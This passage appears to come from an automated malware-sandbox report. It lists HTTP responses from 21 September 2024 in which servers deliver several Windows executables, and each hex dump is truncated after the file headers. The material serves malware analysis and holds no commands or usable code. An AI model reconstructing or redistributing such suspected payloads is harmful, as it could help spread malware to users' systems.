00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Sat, 21 Sep 2024 11:33:44 GMTContent-Type: application/octet-streamContent-Length: 11496960Last-Modified: Wed, 18 Sep 2024 05:25:37 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66ea6451-af6e00"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 0a 00 ad 2b dd 66 00 00 00 00 00 00 00 00 f0 00 23 00 0b 02 0e 00 00 82 00 00 00 06 cd 00 00 00 00 00 5d 70 fd 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 a8 01 00 04 00 00 00 00 00 00 02 00 20 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 90 d1 fd 00 3c 00 00 00 00 50 a5 01 d8 04 03 00 40 16 a5 01 60 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 46 00 01 28 00 00 00 00 15 a5 01 38 01 00 00 00 00 00 00 00 00 00 00 00 d0 f8 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 36 81 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 b8 1e 00 00 00 a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 88 e7 c9 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 80 01 00 00 00 b0 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 30 30 63 66 67 00 00 10 00 00 00 00 c0 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 10 00 00 00 00 d0 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 65 78 74 30 00 00 70 e4 2d 00 00 e0 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 65 78 74 31 00 00 58 00 00 00 00 d0 f8 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 65 78 74 32 00 00 a0 60 ac 00 00 e0 f8 00 00 62 ac 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 68 2e 72 73 72 63 00 00 00 d8 04 03 00 00 50 a5 01 00 06 03 00 00 68 ac 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Sat, 21 Sep 2024 11:33:45 GMTContent-Type: application/octet-streamContent-Length: 3141632Last-Modified: Fri, 20 Sep 2024 15:45:09 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66ed9885-2ff000"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 b2 1e 9f cc 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 0a 29 00 00 e2 06 00 00 00 00 00 ee 29 29 00 00 20 00 00 00 40 29 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 30 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 a0 29 29 00 4b 00 00 00 00 60 29 00 bc d8 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 30 00 0c 00 00 00 4f 29 29 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 09 29 00 00 20 00 00 00 0a 29 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 73 64 61 74 61 00 00 f4 05 00 00 00 40 29 00 00 06 00 00 00 0e 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 bc d8 06 00 00 60 29 00 00 da 06 00 00 14 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 40 30 00 00 02 00 00 00 ee 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Sat, 21 Sep 2024 11:33:47 GMTContent-Type: application/octet-streamContent-Length: 331640Last-Modified: Sat, 21 Sep 2024 10:55:47 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66eea633-50f78"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 3d a1 ee 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 dc 04 00 00 08 00 00 00 00 00 00 5e fb 04 00 00 20 00 00 00 00 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 05 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 08 fb 04 00 53 00 00 00 00 00 05 00 e0 05 00 00 00 00 00 00 00 00 00 00 00 e6 04 00 78 29 00 00 00 20 05 00 0c 00 00 00 d0 f9 04 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 64 db 04 00 00 20 00 00 00 dc 04 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 e0 05 00 00 00 00 05 00 00 06 00 00 00 de 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 05 00 00 02 00 00 00 e4 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 fb 04 00 00 00 00 00 48 00 00 00 02 00 05 00 e8 ea 04 00 e8 0e 00 00 03 00 02 00 0d 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b3 c4 ec e9 36 88 b4 d0 0b 05 5a 9d a5 06 39 29 a5 e8 5e 89 9d ab ca 8a 86 a6 c2 97 d4 6a cf bf 0a e3 50 74 59 93 23 b6 c9 41 ea 52 a8 5c 17 18 f8 64 ee 84 34 14 f3 a5 37 00 5a 01 8d 26 77 8a 77 7c 93 35 da 27 3a 88 54 08 93 2a 7e e8 f4 fc 78 96 88 ad 80 54 89 de 03 37 4d d6 77 d3 53 61 c7 bb d5 91 02 51 70 05 52 aa 74 95 75 8a 8f 11 71 7a 44 28 26 84 cb 04 34 9c 8a 20 ab 3a 4f ff 64 83 8d aa 97 56 5b 9f 20 63 f0 f5 6c 9a 70 72 4b 7f 5d 9b d5 84 76 c5 c1 87 b4 59 5c 5f f0 b9 a2 7b 94 0f 0f 9c d8 27 84 a1 54 dc 2d 66 cd 16 61 76 d9 f8 e4 8c 77 28 48 93 6e 95 5d ed ae d4 96 67 70 6a 29 d0 c6 b5 0d 4f 4b 56 03 ca 13 98 1c 12 dc 71 f4 bd 51 17 0b 2a 79 0c 50 a1 21 c2 f0 59 3b 4f 2e 30 cc 8c f9 fb a3 b6 40 94 79 04 8a 0c 74 a7 22 bb 75 f6 b2 09 37 6e 92 42 95 3d 1b a8 0f b5 82 c5 e9 43 5e d8 3d 11 4d 69 88 16 91 f4 f3 10 34 95 b1 1d d9 d0 01 62 ce 9a 7e 8b 07 74 ee e2 ba 64 88 d8 2e aa e7 c4 db 23 d
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 21 Sep 2024 11:34:16 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 21 Sep 2024 11:34:22 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 21 Sep 2024 11:34:23 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 21 Sep 2024 11:34:24 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 